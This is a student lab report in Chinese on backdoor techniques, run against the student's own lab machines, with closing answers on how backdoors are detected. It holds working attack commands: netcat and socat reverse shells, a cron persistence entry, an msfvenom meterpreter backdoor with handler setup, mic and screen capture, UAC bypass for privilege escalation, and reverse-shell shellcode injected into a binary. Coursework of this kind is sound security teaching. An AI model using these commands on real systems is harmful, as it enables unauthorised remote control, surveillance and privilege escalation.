20175304刘朝尹 2019-2020-3 《网络对抗技术》Exp2 后门原理与实践
1.基础知识总结
(1)后门:是不经过正常认证流程而访问系统流程的通道。
(2)常见后门有:编译器后门、操作系统后门、应用程序后门、潜伏或伪装成特定应用的专用后门程序。
(3)布置后门的流程:<1>有一个后门程序;<2>将其放置在系统里;<3>使后门程序代码运行起来;<3>不被查杀软件查杀且不被防火墙发现。(常用技术有:反弹式连接;加密技术;隧道技术)。
(4)常用后门工具:
<1>netcat:又名nc、ncat。是一个底层工具,进行基本的TCP.UDP数据收发,常与其他工具结合使用作为后门。
-
Linux:自带netcat,输入
man nc
查看其使用说明。 -
Windows: 下载ncat.rar工具包。
<1>Win获得Linux Shell:
step1 首先在Windows中使用 ipconfig 查看主机IP地址 192.168.62.134
Step2:在ncat.exe文件目录下输入ncat.exe -l -p 5304
打开windows 监听
Step3:Linux反弹连接windows:nc 192.168.62.134 5304 -e /bin/sh
Step4:windows下获得一个linux shell,可运行任何指令,如ls,pwd
<2>Linux获得Win Shell
Step1:输入sudo ifconfig
查看到Linux端的IP地址为192.168.62.128
Step2:输入nc -l -p 5304
在Linux运行监听
Step3:在ncat.exe文件目录下输入ncat.exe -e cmd.exe 192.168.62.128 5304
,使Windows反弹连接Linux
Step4:Linux下看到Windows的命令提示,可运行指令,如ipconfig
<2>meterpreter:是一个后门平台。其中有大量零件可调参数,用时组合可以生成可执行文件。
(5)后门启动:
任务计划程序——>新建任务计划——>触发器——>操作程序或脚本——>操作添加参数。
2.实验内容
(1)使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
Step1:crontab指令增加一条定时任务,"-e"表示编辑。
20175304@kali:~/Exp2$ crontab -e
Step2:选择编辑器并添加代码
选择编辑器,选择2,并添加下面这行代码,表示在每个小时的第28分钟执行后面的那条指令。
28 * * * * /bin/netcat 192.168.62.134 -e /bin/sh
Step3:保存、退出后配置即生效。
可以通过"crontab -l"来查看,"-l"表示list。下图为第28分钟执行代码后的结果:
(2)使用socat获取主机操作Shell, 任务计划启动
socat,Netcat++,超级netcat工具。
Step1:右击计算机
—>点击管理
—>点击任务计划程序
—>点击创建任务
Step2:设置任务名,新建触发器
Step3:新建操作
在程序或脚本
中选择socat.exe文件的路径,添加参数中填写tcp-listen:5304 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口5304,同时把cmd.exe的stderr重定向到stdout上:
Step4:此时可以看到任务的状态为准备就绪
Step5:当时间到时,此时可以看到任务的状态为正在运行,同时会弹出一个cmd窗口。
Step6:在kali中输入指令socat - tcp:192.168.62.134:5304
此时可以发现已经成功获得了一个shell,下图为输入ipconfig
和cd ..
的结果
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
Step1:生成20175304_backdoor.exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.62.128 LPORT=5304 -f exe > 20175304_backdoor.exe
参数说明:
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件
Step2:在Windows下执行ncat.exe -l 5304 > 20175304_backdoor.exe
,使被控主机进入接收文件模式
Step3:在kali中执行nc 192.168.3.134 5304 < 20175304_backdoor.exe
从下图可以看到文件已经传输成功了
Step4:MSF打开监听进程
输入msfconsole后进行如下操作:
use exploit/multi/handler,设置payload
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.62.128,设置ip
set LPORT 5304,设置端口
show options,查看选项
exploit,可以看到已经获取到了Windows的shell,可以输入dir来验证
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
step1:使用record_mic指令可以截获一段音频(可以使用-d选项设置录制时间)
step2:使用screenshot指令可以进行截屏
step3:使用getuid指令查看当前用户,使用getsystem指令进行提权操作(参考同学博客问题解决)
使用background命令之后会自动退出到msf的命令行下,先在msf命令行下输入search bypassuac,再输入use exploit/windows/local/bypassuac,然后再输入set session *(*填写内容为你使用background查看到的session数值),最后输入run,当运行结果大致为图文所示内容时,在meterpreter中的getsystem操作便会成功了。
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
step1:在shellcode网站找一个linux/x86平台的,用于反弹连接的shellcode,下载。
Step2:注入Shellcode(参考实验一步骤三的过程)
在第一个终端里关闭地址随机化,输入echo "0" > /proc/sys/kernel/randomize_va_space
在第一个终端中运行pwn1之后不回车
在第二个终端中输入ps -ef | grep pwn1
查看pwn1的进程号为2025
用GDB追踪该进程,找到栈顶(esp)中存放的地址为0xffffd5d0,计算出shellcode地址就是0xffffd5d0+4,即0xffffd5d4。
在第一个终端中中断pwn1运行
在第二个终端中注入input_shellcode:
perl -e 'print "A" x 32;print"\xd4\xd5\xff\xf7\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
Step3:在第一个终端中打开msf控制台,依次输入:
use exploit/multi/handler
,设置payload
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
,设置ip
set LPORT 4444
,设置端口
show options
,查看选项
exploit
,设置完成,开始监听
Step4:运行shellcode
在第二个终端输入(cat input_shellcode;cat) | ./pwn1
运行pwn1文件,在第一个终端中可以看到已经成功调取了shell
3.报告内容:
3.1.基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:攻击者通过interpreter制作一个恶意程序代码,通过绑定到相关应用软件安装包中。如果我正好下载了该安装包软件并点击运行,且该恶意代码违背杀毒软件成功查杀,则该后门成功进入到我的系统中。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:1.开机自启动技术;
2.windows定时任务;
3.Linux的corn;
4.又是用户点击以启动;
5.木马化正常软件。
(3)Meterpreter有哪些给你映像深刻的功能?
答:Meterpreter是一个后门平台,里面的help功能便于操作。还有截屏、启动摄像头、录音等功能使我印象深刻。
(4)如何发现自己有系统有没有被安装后门?
答:查看注册表、进程、端口情况,使用杀毒软件进行查杀。
3.2.实验总结与体会
答:通过本次实验,对后门注入攻击的基本原理有所了解。并且了解了地址随机化等的系统相关应对机制。同时很大程度上提高了个人对于电脑信息安全的重视。会更加注意下载平台的正规性,平时多用查杀软件定期查杀,不随便使用不明来历的U盘等。